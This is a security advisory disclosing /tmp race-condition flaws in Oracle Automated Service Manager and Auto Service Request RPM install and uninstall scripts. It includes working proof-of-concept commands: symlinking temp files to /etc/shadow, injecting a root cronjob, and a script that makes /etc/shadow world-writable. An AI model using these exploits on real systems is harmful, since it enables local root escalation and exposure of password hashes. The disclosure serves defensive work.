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196 | Oracle Automated Service Manager 1.3 local root during install
Larry W. Cashdollar
1/29/2013
@_larry0
SUNWsasm-1.3.1-20110815093723
https://updates.oracle.com/Orion/Services/download?type=readme&aru=15864534
From the README:
"Oracle Automated Service Manager 1.3.1
Oracle Automated Service Manager is the service management container for Auto Service Request and Secure File Transport. It provides platform services (such as logging, data transport and persistence) to business services that are deployed to it."
Possible issues with files in /tmp.
root@dev-unix-sec01:~/test# strings SUNWswasr-4.3.1-20130117131218.rpm |grep tmp
##Read the contents of crontab into a tmp file /usr/bin/crontab -l > /tmp/crontab_edit echo "0" > /tmp/tmpVariable
grep "/opt/SUNWswasr/bin/update_rules.sh" /tmp/crontab_edit |
echo "1" > /tmp/tmpVariable
grep "0" /tmp/tmpVariable > /dev/null
echo >> /tmp/crontab_edit
echo "##Cronjob entry for ASR Auto Rules Update" >> /tmp/crontab_edit
echo "$min $hour * * * /opt/SUNWswasr/bin/update_rules.sh" >> /tmp/crontab_edit
ASR_STAT_REP=`/bin/grep -c 'bin/asr report' /tmp/crontab_edit`
sed "/asr report/d" /tmp/crontab_edit > /tmp/asrtab1.??? mv /tmp/asrtab1.??? /tmp/crontab_edit sed "/ASR Status Report/d" /tmp/crontab_edit > /tmp/asrtab1.??? mv /tmp/asrtab1.??? /tmp/crontab_edit ASR_HEARTBEAT=`/bin/grep -c 'bin/asr heartbeat' /tmp/crontab_edit`
sed "/asr heartbeat/d" /tmp/crontab_edit > /tmp/asrtab1.??? mv /tmp/asrtab1.??? /tmp/crontab_edit sed "/ASR Heartbeat/d" /tmp/crontab_edit > /tmp/asrtab1.??? mv /tmp/asrtab1.??? /tmp/crontab_edit /usr/bin/crontab /tmp/crontab_edit
## Finally remove the tmp file
rm -f /tmp/tmpVariable
rm -f /tmp/crontab_edit
tempFile=/tmp/localsnmp_`date '+%m%d%y%H%M%SOURCE'` /usr/bin/crontab -l > /tmp/asrtab.??
UPDATE_RULES=`/bin/grep -c 'bin/update_rules.sh' /tmp/asrtab.??`
sed "/update_rules.sh/d" /tmp/asrtab.?? > /tmp/asrtab.??? mv /tmp/asrtab.??? /tmp/asrtab.??
sed "/ASR Auto Rules/d" /tmp/asrtab.?? > /tmp/asrtab.??? mv /tmp/asrtab.??? /tmp/asrtab.??
ASR_STAT_HB=`/bin/grep -c 'bin/asr' /tmp/asrtab.??`
sed "/asr report/d" /tmp/asrtab.?? > /tmp/asrtab.??? mv /tmp/asrtab.??? /tmp/asrtab.??
sed "/ASR Status Report/d" /tmp/asrtab.?? > /tmp/asrtab.??? mv /tmp/asrtab.??? /tmp/asrtab.??
sed "/asr heartbeat/d" /tmp/asrtab.?? > /tmp/asrtab.??? mv /tmp/asrtab.??? /tmp/asrtab.??
sed "/ASR Heartbeat/d" /tmp/asrtab.?? > /tmp/asrtab.??? mv /tmp/asrtab.??? /tmp/asrtab.??
/usr/bin/crontab /tmp/asrtab.??
rm /tmp/asrtab.??
]!tmpD
root@dev-unix-sec01:~/test#
First try, File overwriting vulnerability
$ ln -s /etc/shadow /tmp/mytab-tmp.??
$ ln -s /etc/shadow /tmp/mytab.??
[root@oracle-lnx-lab02 ~]# rpm -Uvh SUNWsasm-1.3.1-20110815093723.rpm
Preparing...
########################################### [100%]
Copyright 2008,2011 Oracle and/or its affiliates. All rights reserved.
License and Terms of Use for this software are described at https://support.oracle.com/ (see Terms o f Use)
1:SUNWsasm ########################################### [100%]
Authentication service cannot retrieve authentication info You (root) are not allowed to access to (/usr/bin/crontab) because of pam configuration.
Authentication service cannot retrieve authentication info You (root) are not allowed to access to (/usr/bin/crontab) because of pam configuration.
[root@oracle-lnx-lab02 ~]# cat /etc/shadow
0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance > /dev/null 2>&1
Ok, lets try to inject a cronjob and get root:
Malicious user does:
[meanie@oracle-lnx-lab02 ~]$ while (true) ;do echo "* * * * * /tmp/rootme" > /tmp/mytab.??; done
[root@oracle-lnx-lab02 ~]# rpm -Uvh SUNWsasm-1.3.1-20110815093723.rpm
Preparing...
########################################### [100%]
Copyright 2008,2011 Oracle and/or its affiliates. All rights reserved.
License and Terms of Use for this software are described at https://support.oracle.com/ (see Terms o f Use)
1:SUNWsasm ########################################## [100%]
[root@oracle-lnx-lab02 ~] crontab -l
* * * * * /tmp/rootme
0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance > /dev/null 2>&1
/tmp/rootme is:
#!/bin/sh
chmod 666 /etc/shadow
after a minute:
[root@oracle-lnx-lab02 ~] ls -l /etc/shadow
-rw-rw-rw- 1 root root 744 Jan 30 21:02 /etc/shadow
[root@oracle-lnx-lab02 ~]
Faulty Code:
319 /usr/bin/crontab -l > /tmp/mytab.??
320 if [ $(/bin/grep -c 'sasm' /tmp/mytab.??) -eq 0 ];then
321 echo "0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance > /dev/null 2>&1" >> /tmp/mytab.??
322 /usr/bin/crontab /tmp/mytab.??
323 fi
324
325 rm /tmp/mytab.??
SUNWswasr RPM post install /tmp race condition
From the documentation:
"Auto Service Request (ASR) is a secure, scalable, customer-installable software feature of warranty and Oracle Support Services that provides auto-case generation when common hardware component faults occur. ASR is designed to enable faster problem resolution by eliminating the need to initiate contact with Oracle Support Services for common hardware component failures, reducing both the number of phone calls needed and overall phone time required. ASR also simplifies support operations by using electronic diagnostic data. Easily installed and deployed, ASR is completely controlled by you, the customer, to ensure security. ASR is applicable only for component faults. Not all component failures are covered, though the most common components (such as disk, fan, and power supplies) are covered."
The post-install script for SUNWswasr RPM handles files in /tmp insecurely.
I suspect a race condition exists where these two files can be used to either clobber root owned files or inject malicious cronjobs into roots cron:
/tmp/tmpVariable
/tmp/crontab_edit
[root@oracle-lnx-lab02 ~]# rpm -Uvh SUNWswasr-4.3.1-20130117131218.rpm Preparing... ########################################### [100%]
Copyright [2008,2012], Oracle and/or its affiliates. All rights reserved.
License and Terms of Use for this software are described at https://support.oracle.com/ (see Legal Notices and Terms of Use).
1:SUNWswasr ########################################### [100%]
Directory /var/opt/SUNWsasm/configuration/caseinfo created.
Directory /var/opt/SUNWsasm/configuration/supportfile created.
ASR Manager Auto Update functionality has been enabled by default.
Please ensure that ASR manager is registered with ASR backend to get the software updates.
Installation of SUNWswasr was successful.
Lets fireup fsnoop[1] and take a look:
[C] -rw-r--r-- 1 root root 0 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit
[U] -rw-r--r-- 1 root root 100 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit
[C] -rw-r--r-- 1 root root 0 Thu Jan 31 14:30:12 2013 /tmp/tmpVariable
[U] -rw-r--r-- 1 root root 2 Thu Jan 31 14:30:12 2013 /tmp/tmpVariable
[U] -rw-r--r-- 1 root root 101 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit
[U] -rw-r--r-- 1 root root 143 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit
[U] -rw-r--r-- 1 root root 188 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit
[D] F /tmp/tmpVariable
[D] F /tmp/crontab_edit
Those look exploitable lets pick one.
I was able to inject my own cronjob in as root with the following simple PoC:
$ while (true) ;do echo "* * * * * /tmp/rootme" >> /tmp/crontab_edit; done
[root@oracle-lnx-lab02 ~]# crontab -l
0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance > /dev/null 2>&1
* * * * * /tmp/rootme <--- prepended and contains our malicious shell/binary, see exploit above.
##Cronjob entry for ASR Auto Rules Update
7 3 * * * /opt/SUNWswasr/bin/update_rules.sh
The uninstall script is just as sloppy:
[C] F /tmp/asrtab.??
[U] F /tmp/asrtab.??
[C] F /tmp/asrtab.???
[U] F /tmp/asrtab.???
[C] F /tmp/asrtab.???
[U] F /tmp/asrtab.???
[D] F /tmp/asrtab.??
did they mean to use $$ for process Pid?
References:
[1] fsnoop - /tmp directory file watching utility by vl4dz. http://vladz.devzero.fr/fsnoop.php
http://docs.oracle.com/cd/E18476_01/doc.220/e18478/asr.htm#BABHIHFF
http://vapid.dhs.org/advisories/Oracle_ASR_4.3.1-root-install.html
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